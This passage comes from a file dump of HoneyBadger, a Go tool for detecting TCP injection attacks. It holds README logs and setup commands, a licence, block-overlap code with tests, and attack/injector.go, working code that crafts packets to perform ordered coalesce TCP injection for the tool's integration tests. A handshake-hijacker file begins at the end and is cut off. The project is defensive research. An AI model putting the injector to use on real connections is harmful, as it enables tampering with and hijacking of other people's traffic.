74 20 61 6e 79 62 6f  |esn't want anybo|\n  000000d0  64 79 20 74 6f 20 6b 6e  6f 77 2e 20 50 72 69 76  |dy to know. Priv|\n  000000e0  61 63 79 20 69 73 20 74  68 65 20 70 6f 77 65 72  |acy is the power|\n  000000f0  20 74 6f 20 73 65 6c 65  63 74 69 76 65 6c 79 20  | to selectively |\n  00000100  72 65 76 65 61 6c 20 6f  6e 65 73 65 6c 66 20 74  |reveal oneself t|\n  00000110  6f 20 74 68 65 20 77 6f  72 6c 64 2e              |o the world.|\n  2016/02/05 23:30:01 race loser stream segment:\n  2016/02/05 23:30:01 00000000  50 72 69 76 61 63 79 20  69 73 20 6e 65 63 65 73  |Privacy is neces|\n  00000010  73 61 72 79 20 66 6f 72  20 61 6e 20 6f 70 65 6e  |sary for an open|\n  00000020  20 73 6f 63 69 65 74 79  20 69 6e 20 74 68 65 20  | society in the |\n  00000030  65 6c 65 63 74 72 6f 6e  69 63 20 61 67 65 2e 20  |electronic age. |\n  00000040  50 72 69 76 61 63 79 20  69 73 20 6e 6f 74 20 73  |Privacy is not s|\n  00000050  65 63 72 65 63 79 2e 20  41 20 70 72 69 76 61 74  |ecrecy. A privat|\n  00000060  65 20 6d 61 74 74 65 72  20 69 73 20 73 6f 6d 65  |e matter is some|\n  00000070  74 68 69 6e 67 20 6f 6e  65 20 64 6f 65 73 6e 27  |thing one doesn'|\n  00000080  74 20 77 61 6e 74 20 74  68 65 20 77 68 6f 6c 65  |t want the whole|\n  00000090  20 77 6f 72 6c 64 20 74  6f 20 6b 6e 6f 77 2c 20  | world to know, |\n  000000a0  62 75 74 20 61 20 73 65  63 72 65 74 20 6d 61 74  |but a secret mat|\n  000000b0  74 65 72 20 69 73 20 73  6f 6d 65 74 68 69 6e 67  |ter is something|\n  000000c0  20 6f 6e 65 20 64 6f 65  73 6e 27 74 20 77 61 6e  | one doesn't wan|\n  000000d0  74 20 61 6e 79 62 6f 64  79 20 74 6f 20 6b 6e 6f  |t anybody to kno|\n  000000e0  77 2e 20 50 72 69 76 61  63 79 20 69 73 20 74 68  |w. Privacy is th|\n  000000f0  65 20 70 6f 77 65 72 20  74 6f 20 73 65 6c 65 63  |e power to selec|\n  00000100  74 69 76 65 6c 79 20 72  65 76 65 61 6c 20 6f 6e  |tively reveal on|\n  00000110  65 73 65 6c 66 20 74 6f  20 74 68 65              |eself to the|\n  2016/02/05 23:30:01 detected an ordered coalesce injection\n  2016/02/05 23:30:01 FIN-WAIT-1: non-ACK packet received.\n  2016/02/05 23:30:01 ReadPacketData got EOF\n  2016/02/05 23:30:01 Close()\n  2016/02/05 23:30:01 1 connection(s) closed.\n  2016/02/05 23:30:01 Supervisor.Stopped()\n  2016/02/05 23:30:01 graceful shutdown: packet-source stopped\n\n\n\nOr instead you can tell honeyBadger to analyze the wire with Linux's AF_PACKET capture mode. You\nshould first disable offloading::\n\n  sudo apt-get install ethtool\n  sudo ethtool -K eth0 gso off\n  sudo ethtool -K eth0 tso off\n  sudo ethtool -K eth0 gro off\n\n\nAnd then run honeyBadger like this::\n\n  ./honeyBadger -max_concurrent_connections=1000 -max_pcap_log_size=100 -max_pcap_rotations=10 \\\n  -max_ring_packets=40 -metadata_attack_log=false -total_max_buffer=1000 -connection_max_buffer=100 \\\n  -archive_dir=/home/user/gopath/src/github.com/david415/HoneyBadger/cmd/honeyBadger/archive -log_packets \\\n  -l=/home/user/gopath/src/github.com/david415/HoneyBadger/cmd/honeyBadger/incoming -log_packets=true \\\n  -i=eth0 -daq=AF_PACKET\n\n  2016/02/07 14:16:32 HoneyBadger: comprehensive TCP injection attack detection.\n  2016/02/07 14:16:32 PageCache: created 1024 new pages\n  2016/02/07 14:16:32 Starting AF_PACKET packet capture on interface eth0\n\n\nLinux security note\n-------------------\nIf running on Linux you can avoid running as root by using the setcap command.\nIn Linux you can run packet capture tools as an unprivileged user after you run setcap as root like this::\n\n   # setcap cap_net_raw,cap_net_admin=eip honeyBadger\n\n\nBSD security note\n-----------------\nWhen using the ``BSD_BPF`` sniffer, avoid running as root by making sure your user has\nread-write access to ``/dev/bpf*`` If you are in the ``wheel`` group and the bpf devices\nare group owned by ``wheel`` then this should work::\n\n   # chmod g+rw /dev/bpf*\n\n\n=======\nlicense\n=======\n\nHoneyBadger is free software made available via the GPL3... except for small sections of code which are BSD licensed.\n\n\n=======\ncontact\n=======\n\n* email dstainton415@gmail.com\n* gpg key ID 0x836501BE9F27A723\n* gpg fingerprint F473 51BD 87AB 7FCF 6F88  80C9 8365 01BE 9F27 A723\n"
  },
  {
    "path": "attack/injector.go",
    "content": "/*\n *    injector.go - TCP stream injector API - \"integration tests\" for HoneyBadger\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage attack\n\nimport (\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n\t\"github.com/google/gopacket/pcap\"\n\t\"net\"\n\t\"log\"\n)\n\ntype TCPStreamInjector struct {\n\tpacketConn    net.PacketConn\n\tpcapHandle    *pcap.Handle\n\teth           *layers.Ethernet\n\tdot1q         *layers.Dot1Q\n\tipv4          layers.IPv4\n\tipv6          layers.IPv6\n\ttcp           layers.TCP\n\tipBuf         gopacket.SerializeBuffer\n\tPayload       gopacket.Payload\n\tisIPv6Mode    bool\n}\n\nfunc NewTCPStreamInjector(pcapHandle *pcap.Handle, isIPv6Mode bool) *TCPStreamInjector {\n\tt := TCPStreamInjector{\n\t\tpcapHandle: pcapHandle,\n\t\tisIPv6Mode: isIPv6Mode,\n\t}\n\treturn &t\n}\n\nfunc (i *TCPStreamInjector) SetEthernetLayer(eth *layers.Ethernet) {\n\ti.eth = eth\n}\n\nfunc (i *TCPStreamInjector) SetIPv4Layer(iplayer layers.IPv4) {\n\ti.ipv4 = iplayer\n}\n\nfunc (i *TCPStreamInjector) SetIPv6Layer(iplayer layers.IPv6) {\n\ti.ipv6 = iplayer\n}\n\nfunc (i *TCPStreamInjector) SetTCPLayer(tcpLayer layers.TCP) {\n\ti.tcp = tcpLayer\n}\n\nfunc (i *TCPStreamInjector) SpraySequenceRangePackets(start uint32, count int) error {\n\tvar err error\n\n\tcurrentSeq := types.Sequence(start)\n\tstopSeq := currentSeq.Add(count)\n\n\tfor ; currentSeq.Difference(stopSeq) != 0; currentSeq = currentSeq.Add(1) {\n\t\ti.tcp.Seq = uint32(currentSeq)\n\t\terr = i.Write()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\n// SprayFutureAndFillGapPackets is used to perform an ordered coalesce injection attack;\n// that is we first inject packets with future sequence numbers and then we fill the gap.\n// The gap being the range from state machine's \"next Sequence\" to the earliest Sequence we\n// transmitted in our future sequence series of packets.\nfunc (i *TCPStreamInjector) SprayFutureAndFillGapPackets(start uint32, gap_payload, attack_payload []byte, overlap_future_packet bool) error {\n\tvar err error = nil\n\n\t// send future packet\n\tnextSeq := types.Sequence(start)\n\ti.tcp.Seq = uint32(nextSeq.Add(len(gap_payload)))\n\ti.Payload = attack_payload\n\n\terr = i.Write()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif overlap_future_packet == true {\n\t\t// overlapping future injection\n\t\ti.tcp.Seq = uint32(nextSeq.Add(len(gap_payload) + 7))\n\t\ti.Payload = attack_payload\n\n\t\terr = i.Write()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// fill in gap\n\ti.tcp.Seq = start\n\ti.Payload = gap_payload\n\terr = i.Write()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}\n\nfunc (i *TCPStreamInjector) Write() error {\n\tlog.Print(\"Write\")\n\tvar err error = nil\n\n\tif i.isIPv6Mode {\n\t\t// XXX\n\t\ti.tcp.SetNetworkLayerForChecksum(&i.ipv6)\n\t} else {\n\t\ti.tcp.SetNetworkLayerForChecksum(&i.ipv4)\n\t}\n\tpacketBuf := gopacket.NewSerializeBuffer()\n\tif i.isIPv6Mode {\n\t\topts := gopacket.SerializeOptions{\n\t\t\tFixLengths:       true,\n\t\t\tComputeChecksums: true,\n\t\t}\n\t\terr = gopacket.SerializeLayers(packetBuf, opts, i.eth, &i.ipv6, &i.tcp, i.Payload)\n\t\tif err != nil {\n\t\t\tlog.Print(\"wtf. failed to encode ipv6 packet\")\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\topts := gopacket.SerializeOptions{\n\t\t\tFixLengths:       true,\n\t\t\tComputeChecksums: true,\n\t\t}\n\t\terr = gopacket.SerializeLayers(packetBuf, opts, i.eth, &i.ipv4, &i.tcp, i.Payload)\n\t\tif err != nil {\n\t\t\tlog.Print(\"wtf. failed to encode ipv4 packet\")\n\t\t\treturn err\n\t\t}\n\t}\n\tif err := i.pcapHandle.WritePacketData(packetBuf.Bytes()); err != nil {\n\t\tlog.Printf(\"Failed to send packet: %s\\n\", err)\n\t\treturn err\n\t}\n\treturn err\n}\n"
  },
  {
    "path": "blocks/LICENSE",
    "content": "                    GNU GENERAL PUBLIC LICENSE\n                       Version 2, June 1991\n\n Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>\n 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n                            Preamble\n\n  The licenses for most software are designed to take away your\nfreedom to share and change it.  By contrast, the GNU General Public\nLicense is intended to guarantee your freedom to share and change free\nsoftware--to make sure the software is free for all its users.  This\nGeneral Public License applies to most of the Free Software\nFoundation's software and to any other program whose authors commit to\nusing it.  (Some other Free Software Foundation software is covered by\nthe GNU Lesser General Public License instead.)  You can apply it to\nyour programs, too.\n\n  When we speak of free software, we are referring to freedom, not\nprice.  Our General Public Licenses are designed to make sure that you\nhave the freedom to distribute copies of free software (and charge for\nthis service if you wish), that you receive source code or can get it\nif you want it, that you can change the software or use pieces of it\nin new free programs; and that you know you can do these things.\n\n  To protect your rights, we need to make restrictions that forbid\nanyone to deny you these rights or to ask you to surrender the rights.\nThese restrictions translate to certain responsibilities for you if you\ndistribute copies of the software, or if you modify it.\n\n  For example, if you distribute copies of such a program, whether\ngratis or for a fee, you must give the recipients all the rights that\nyou have.  You must make sure that they, too, receive or can get the\nsource code.  And you must show them these terms so they know their\nrights.\n\n  We protect your rights with two steps: (1) copyright the software, and\n(2) offer you this license which gives you legal permission to copy,\ndistribute and/or modify the software.\n\n  Also, for each author's protection and ours, we want to make certain\nthat everyone understands that there is no warranty for this free\nsoftware.  If the software is modified by someone else and passed on, we\nwant its recipients to know that what they have is not the original, so\nthat any problems introduced by others will not reflect on the original\nauthors' reputations.\n\n  Finally, any free program is threatened constantly by software\npatents.  We wish to avoid the danger that redistributors of a free\nprogram will individually obtain patent licenses, in effect making the\nprogram proprietary.  To prevent this, we have made it clear that any\npatent must be licensed for everyone's free use or not licensed at all.\n\n  The precise terms and conditions for copying, distribution and\nmodification follow.\n\n                    GNU GENERAL PUBLIC LICENSE\n   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION\n\n  0. This License applies to any program or other work which contains\na notice placed by the copyright holder saying it may be distributed\nunder the terms of this General Public License.  The \"Program\", below,\nrefers to any such program or work, and a \"work based on the Program\"\nmeans either the Program or any derivative work under copyright law:\nthat is to say, a work containing the Program or a portion of it,\neither verbatim or with modifications and/or translated into another\nlanguage.  (Hereinafter, translation is included without limitation in\nthe term \"modification\".)  Each licensee is addressed as \"you\".\n\nActivities other than copying, distribution and modification are not\ncovered by this License; they are outside its scope.  The act of\nrunning the Program is not restricted, and the output from the Program\nis covered only if its contents constitute a work based on the\nProgram (independent of having been made by running the Program).\nWhether that is true depends on what the Program does.\n\n  1. You may copy and distribute verbatim copies of the Program's\nsource code as you receive it, in any medium, provided that you\nconspicuously and appropriately publish on each copy an appropriate\ncopyright notice and disclaimer of warranty; keep intact all the\nnotices that refer to this License and to the absence of any warranty;\nand give any other recipients of the Program a copy of this License\nalong with the Program.\n\nYou may charge a fee for the physical act of transferring a copy, and\nyou may at your option offer warranty protection in exchange for a fee.\n\n  2. You may modify your copy or copies of the Program or any portion\nof it, thus forming a work based on the Program, and copy and\ndistribute such modifications or work under the terms of Section 1\nabove, provided that you also meet all of these conditions:\n\n    a) You must cause the modified files to carry prominent notices\n    stating that you changed the files and the date of any change.\n\n    b) You must cause any work that you distribute or publish, that in\n    whole or in part contains or is derived from the Program or any\n    part thereof, to be licensed as a whole at no charge to all third\n    parties under the terms of this License.\n\n    c) If the modified program normally reads commands interactively\n    when run, you must cause it, when started running for such\n    interactive use in the most ordinary way, to print or display an\n    announcement including an appropriate copyright notice and a\n    notice that there is no warranty (or else, saying that you provide\n    a warranty) and that users may redistribute the program under\n    these conditions, and telling the user how to view a copy of this\n    License.  (Exception: if the Program itself is interactive but\n    does not normally print such an announcement, your work based on\n    the Program is not required to print an announcement.)\n\nThese requirements apply to the modified work as a whole.  If\nidentifiable sections of that work are not derived from the Program,\nand can be reasonably considered independent and separate works in\nthemselves, then this License, and its terms, do not apply to those\nsections when you distribute them as separate works.  But when you\ndistribute the same sections as part of a whole which is a work based\non the Program, the distribution of the whole must be on the terms of\nthis License, whose permissions for other licensees extend to the\nentire whole, and thus to each and every part regardless of who wrote it.\n\nThus, it is not the intent of this section to claim rights or contest\nyour rights to work written entirely by you; rather, the intent is to\nexercise the right to control the distribution of derivative or\ncollective works based on the Program.\n\nIn addition, mere aggregation of another work not based on the Program\nwith the Program (or with a work based on the Program) on a volume of\na storage or distribution medium does not bring the other work under\nthe scope of this License.\n\n  3. You may copy and distribute the Program (or a work based on it,\nunder Section 2) in object code or executable form under the terms of\nSections 1 and 2 above provided that you also do one of the following:\n\n    a) Accompany it with the complete corresponding machine-readable\n    source code, which must be distributed under the terms of Sections\n    1 and 2 above on a medium customarily used for software interchange; or,\n\n    b) Accompany it with a written offer, valid for at least three\n    years, to give any third party, for a charge no more than your\n    cost of physically performing source distribution, a complete\n    machine-readable copy of the corresponding source code, to be\n    distributed under the terms of Sections 1 and 2 above on a medium\n    customarily used for software interchange; or,\n\n    c) Accompany it with the information you received as to the offer\n    to distribute corresponding source code.  (This alternative is\n    allowed only for noncommercial distribution and only if you\n    received the program in object code or executable form with such\n    an offer, in accord with Subsection b above.)\n\nThe source code for a work means the preferred form of the work for\nmaking modifications to it.  For an executable work, complete source\ncode means all the source code for all modules it contains, plus any\nassociated interface definition files, plus the scripts used to\ncontrol compilation and installation of the executable.  However, as a\nspecial exception, the source code distributed need not include\nanything that is normally distributed (in either source or binary\nform) with the major components (compiler, kernel, and so on) of the\noperating system on which the executable runs, unless that component\nitself accompanies the executable.\n\nIf distribution of executable or object code is made by offering\naccess to copy from a designated place, then offering equivalent\naccess to copy the source code from the same place counts as\ndistribution of the source code, even though third parties are not\ncompelled to copy the source along with the object code.\n\n  4. You may not copy, modify, sublicense, or distribute the Program\nexcept as expressly provided under this License.  Any attempt\notherwise to copy, modify, sublicense or distribute the Program is\nvoid, and will automatically terminate your rights under this License.\nHowever, parties who have received copies, or rights, from you under\nthis License will not have their licenses terminated so long as such\nparties remain in full compliance.\n\n  5. You are not required to accept this License, since you have not\nsigned it.  However, nothing else grants you permission to modify or\ndistribute the Program or its derivative works.  These actions are\nprohibited by law if you do not accept this License.  Therefore, by\nmodifying or distributing the Program (or any work based on the\nProgram), you indicate your acceptance of this License to do so, and\nall its terms and conditions for copying, distributing or modifying\nthe Program or works based on it.\n\n  6. Each time you redistribute the Program (or any work based on the\nProgram), the recipient automatically receives a license from the\noriginal licensor to copy, distribute or modify the Program subject to\nthese terms and conditions.  You may not impose any further\nrestrictions on the recipients' exercise of the rights granted herein.\nYou are not responsible for enforcing compliance by third parties to\nthis License.\n\n  7. If, as a consequence of a court judgment or allegation of patent\ninfringement or for any other reason (not limited to patent issues),\nconditions are imposed on you (whether by court order, agreement or\notherwise) that contradict the conditions of this License, they do not\nexcuse you from the conditions of this License.  If you cannot\ndistribute so as to satisfy simultaneously your obligations under this\nLicense and any other pertinent obligations, then as a consequence you\nmay not distribute the Program at all.  For example, if a patent\nlicense would not permit royalty-free redistribution of the Program by\nall those who receive copies directly or indirectly through you, then\nthe only way you could satisfy both it and this License would be to\nrefrain entirely from distribution of the Program.\n\nIf any portion of this section is held invalid or unenforceable under\nany particular circumstance, the balance of the section is intended to\napply and the section as a whole is intended to apply in other\ncircumstances.\n\nIt is not the purpose of this section to induce you to infringe any\npatents or other property right claims or to contest validity of any\nsuch claims; this section has the sole purpose of protecting the\nintegrity of the free software distribution system, which is\nimplemented by public license practices.  Many people have made\ngenerous contributions to the wide range of software distributed\nthrough that system in reliance on consistent application of that\nsystem; it is up to the author/donor to decide if he or she is willing\nto distribute software through any other system and a licensee cannot\nimpose that choice.\n\nThis section is intended to make thoroughly clear what is believed to\nbe a consequence of the rest of this License.\n\n  8. If the distribution and/or use of the Program is restricted in\ncertain countries either by patents or by copyrighted interfaces, the\noriginal copyright holder who places the Program under this License\nmay add an explicit geographical distribution limitation excluding\nthose countries, so that distribution is permitted only in or among\ncountries not thus excluded.  In such case, this License incorporates\nthe limitation as if written in the body of this License.\n\n  9. The Free Software Foundation may publish revised and/or new versions\nof the General Public License from time to time.  Such new versions will\nbe similar in spirit to the present version, but may differ in detail to\naddress new problems or concerns.\n\nEach version is given a distinguishing version number.  If the Program\nspecifies a version number of this License which applies to it and \"any\nlater version\", you have the option of following the terms and conditions\neither of that version or of any later version published by the Free\nSoftware Foundation.  If the Program does not specify a version number of\nthis License, you may choose any version ever published by the Free Software\nFoundation.\n\n  10. If you wish to incorporate parts of the Program into other free\nprograms whose distribution conditions are different, write to the author\nto ask for permission.  For software which is copyrighted by the Free\nSoftware Foundation, write to the Free Software Foundation; we sometimes\nmake exceptions for this.  Our decision will be guided by the two goals\nof preserving the free status of all derivatives of our free software and\nof promoting the sharing and reuse of software generally.\n\n                            NO WARRANTY\n\n  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY\nFOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN\nOTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES\nPROVIDE THE PROGRAM \"AS IS\" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED\nOR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\nMERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS\nTO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE\nPROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,\nREPAIR OR CORRECTION.\n\n  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING\nWILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR\nREDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,\nINCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING\nOUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED\nTO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY\nYOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER\nPROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGES.\n\n                     END OF TERMS AND CONDITIONS\n\n            How to Apply These Terms to Your New Programs\n\n  If you develop a new program, and you want it to be of the greatest\npossible use to the public, the best way to achieve this is to make it\nfree software which everyone can redistribute and change under these terms.\n\n  To do so, attach the following notices to the program.  It is safest\nto attach them to the start of each source file to most effectively\nconvey the exclusion of warranty; and each file should have at least\nthe \"copyright\" line and a pointer to where the full notice is found.\n\n    {description}\n    Copyright (C) {year}  {fullname}\n\n    This program is free software; you can redistribute it and/or modify\n    it under the terms of the GNU General Public License as published by\n    the Free Software Foundation; either version 2 of the License, or\n    (at your option) any later version.\n\n    This program is distributed in the hope that it will be useful,\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n    GNU General Public License for more details.\n\n    You should have received a copy of the GNU General Public License along\n    with this program; if not, write to the Free Software Foundation, Inc.,\n    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.\n\nAlso add information on how to contact you by electronic and paper mail.\n\nIf the program is interactive, make it output a short notice like this\nwhen it starts in an interactive mode:\n\n    Gnomovision version 69, Copyright (C) year name of author\n    Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.\n    This is free software, and you are welcome to redistribute it\n    under certain conditions; type `show c' for details.\n\nThe hypothetical commands `show w' and `show c' should show the appropriate\nparts of the General Public License.  Of course, the commands you use may\nbe called something other than `show w' and `show c'; they could even be\nmouse-clicks or menu items--whatever suits your program.\n\nYou should also get your employer (if you work as a programmer) or your\nschool, if any, to sign a \"copyright disclaimer\" for the program, if\nnecessary.  Here is a sample; alter the names:\n\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the program\n  `Gnomovision' (which makes passes at compilers) written by James Hacker.\n\n  {signature of Ty Coon}, 1 April 1989\n  Ty Coon, President of Vice\n\nThis General Public License does not permit incorporating your program into\nproprietary programs.  If your program is a subroutine library, you may\nconsider it more useful to permit linking proprietary applications with the\nlibrary.  If this is what you want to do, use the GNU Lesser General\nPublic License instead of this License.\n\n"
  },
  {
    "path": "blocks/blocks.go",
    "content": "// code borrowed from https://github.com/zond/qisniff\n// it's GPL2 see LICENSE\n\n// modified to use our Sequence type instead of int64\n// Package blocks contains logic to detect overlap between segments of a contiguous data stream.\npackage blocks\n\nimport (\n\t\"fmt\"\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"strings\"\n)\n\ntype Block struct {\n\tA, B types.Sequence\n}\n\ntype BlockSegment struct {\n\tBlock         Block\n\tBytes         []byte\n\tIsCoalesce    bool\n\tIsCoalesceGap bool\n}\n\nfunc (t BlockSegment) String() string {\n\treturn fmt.Sprintf(\"%s, Bytes %x, IsCoalesce %v, IsCoalesceGap %v\", t.Block, t.Bytes, t.IsCoalesce, t.IsCoalesceGap)\n}\n\nfunc (t Block) String() string {\n\treturn fmt.Sprintf(\"Block(%d, %d)\", t.A, t.B)\n}\n\nfunc (blk Block) Overlap(a, b types.Sequence) *Block {\n\tleft := a\n\tif blk.A.GreaterThan(left) {\n\t\tleft = blk.A\n\t}\n\tright := b\n\tif blk.B.LessThan(right) {\n\t\tright = blk.B\n\t}\n\tif right.GreaterThan(left) {\n\t\treturn &Block{left, right}\n\t}\n\treturn nil\n}\n\ntype Blocks []Block\n\nfunc (t Blocks) String() string {\n\tacc := make([]string, 1)\n\tfor i := 0; i < t.Len(); i++ {\n\t\tacc = append(acc, t[i].String())\n\t}\n\treturn strings.Join(acc, \"\\n\")\n}\n\nfunc (blks Blocks) Len() int {\n\treturn len(blks)\n}\n\nfunc (blks Blocks) Less(i, j int) bool {\n\treturn blks[i].A.LessThan(blks[j].A)\n}\n\nfunc (blks Blocks) Swap(i, j int) {\n\tblks[i], blks[j] = blks[j], blks[i]\n}\n\nfunc (blks Blocks) Overlaps(a, b types.Sequence) Blocks {\n\tvar result Blocks\n\tfor _, blk := range blks {\n\t\tif overlap := blk.Overlap(a, b); overlap != nil {\n\t\t\tresult = append(result, *overlap)\n\t\t}\n\t}\n\treturn result\n}\n\nfunc (blks Blocks) Add(a, b types.Sequence) Blocks {\n\tvar result Blocks\n\tindex := 0\n\tadded := false\n\tfor index < len(blks) {\n\t\tblk := blks[index]\n\t\tif a.LessThanOrEqual(blk.A) {\n\t\t\tif b.LessThan(blk.A) {\n\t\t\t\tresult = append(result, Block{a, b})\n\t\t\t\tresult = append(result, blks[index:]...)\n\t\t\t\treturn result\n\t\t\t} else if b.Equals(blk.A) {\n\t\t\t\tresult = append(result, Block{a, blk.B})\n\t\t\t\tresult = append(result, blks[index+1:]...)\n\t\t\t\treturn result\n\t\t\t} else if b.GreaterThan(blk.A) {\n\t\t\t\tif b.LessThanOrEqual(blk.B) {\n\t\t\t\t\tresult = append(result, Block{a, blk.B})\n\t\t\t\t\tresult = append(result, blks[index+1:]...)\n\t\t\t\t\treturn result\n\t\t\t\t} else if b.GreaterThan(blk.B) {\n\t\t\t\t\tindex++\n\t\t\t\t}\n\t\t\t}\n\t\t} else if a.GreaterThan(blk.A) {\n\t\t\tif a.LessThanOrEqual(blk.B) {\n\t\t\t\tif b.LessThanOrEqual(blk.B) {\n\t\t\t\t\tresult = append(result, blks[index:]...)\n\t\t\t\t\treturn result\n\t\t\t\t} else if b.GreaterThan(blk.B) {\n\t\t\t\t\ta = blk.A\n\t\t\t\t\tindex++\n\t\t\t\t}\n\t\t\t} else if a.GreaterThan(blk.B) {\n\t\t\t\tresult = append(result, blk)\n\t\t\t\tindex++\n\t\t\t}\n\t\t}\n\t}\n\tif !added {\n\t\tresult = append(result, Block{a, b})\n\t}\n\treturn result\n}\n"
  },
  {
    "path": "blocks/blocks_test.go",
    "content": "package blocks\n\nimport \"testing\"\nimport \"github.com/david415/HoneyBadger/types\"\n\n\nfunc checkBlocks(t *testing.T, got, want Blocks) {\n\tif len(got) != len(want) {\n\t\tt.Errorf(\"Got %+v, want %+v\", got, want)\n\t\treturn\n\t}\n\tfor index, blk := range got {\n\t\to := want[index]\n\t\tif blk.A.Difference(o.A) != 0 || blk.B.Difference(o.B) != 0 {\n\t\t\tt.Errorf(\"Got %+v, want %+v\", got, want)\n\t\t\treturn\n\t\t}\n\t}\n}\n\nfunc TestAdd(t *testing.T) {\n\tblks := Blocks{}\n\tblks = blks.Add(types.Sequence(50), types.Sequence(100))\n\tcheckBlocks(t, blks, Blocks{{types.Sequence(50), types.Sequence(100)}})\n\tblks = blks.Add(types.Sequence(150), types.Sequence(200))\n\tcheckBlocks(t, blks, Blocks{{types.Sequence(50), types.Sequence(100)}, {types.Sequence(150), types.Sequence(200)}})\n\tblks = blks.Add(types.Sequence(0), types.Sequence(40))\n\tcheckBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(40)}, {types.Sequence(50), types.Sequence(100)}, {types.Sequence(150), types.Sequence(200)}})\n\tblks = blks.Add(types.Sequence(40), types.Sequence(50))\n\tcheckBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(100)}, {types.Sequence(150), types.Sequence(200)}})\n\tblks = blks.Add(types.Sequence(75), types.Sequence(120))\n\tcheckBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(120)}, {types.Sequence(150), types.Sequence(200)}})\n\tblks = blks.Add(types.Sequence(110), types.Sequence(150))\n\tcheckBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(200)}})\n\tblks = blks.Add(types.Sequence(250), types.Sequence(300))\n\tcheckBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(200)}, {types.Sequence(250), types.Sequence(300)}})\n\tblks = blks.Add(types.Sequence(240), types.Sequence(300))\n\tcheckBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(200)}, {types.Sequence(240), types.Sequence(300)}})\n\tblks = blks.Add(types.Sequence(200), types.Sequence(210))\n\tcheckBlocks(t, blks, Blocks{{types.Sequence(0), types.Sequence(210)}, {types.Sequence(240), types.Sequence(300)}})\n}\n\nfunc TestOverlaps(t *testing.T) {\n\tblks := Blocks{}\n\tblks = blks.Add(types.Sequence(0), types.Sequence(100))\n\tblks = blks.Add(types.Sequence(110), types.Sequence(200))\n\tcheckBlocks(t, blks.Overlaps(types.Sequence(50), types.Sequence(150)), Blocks{{types.Sequence(50), types.Sequence(100)}, {types.Sequence(110), types.Sequence(150)}})\n\tcheckBlocks(t, blks.Overlaps(types.Sequence(110), types.Sequence(220)), Blocks{{types.Sequence(110), types.Sequence(200)}})\n}\n"
  },
  {
    "path": "cmd/handshakeHijacker/main.go",
    "content": "/*\n *    TCP handshake hijack implementation\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage main\n\nimport (\n\t\"flag\"\n\t\"github.com/david415/HoneyBadger/attack\"\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/examples/util\"\n\t\"github.com/google/gopacket/layers\"\n\t\"github.com/google/gopacket/pcap\"\n\t\"github.com/google/gopacket/tcpassembly\"\n\t\"log\"\n\t\"math/rand\"\n\t\"net\"\n\t\"time\"\n)\n\nvar iface = flag.String(\"i\", \"lo\", \"Interface to get packets from\")\nvar filter = flag.String(\"f\", \"tcp 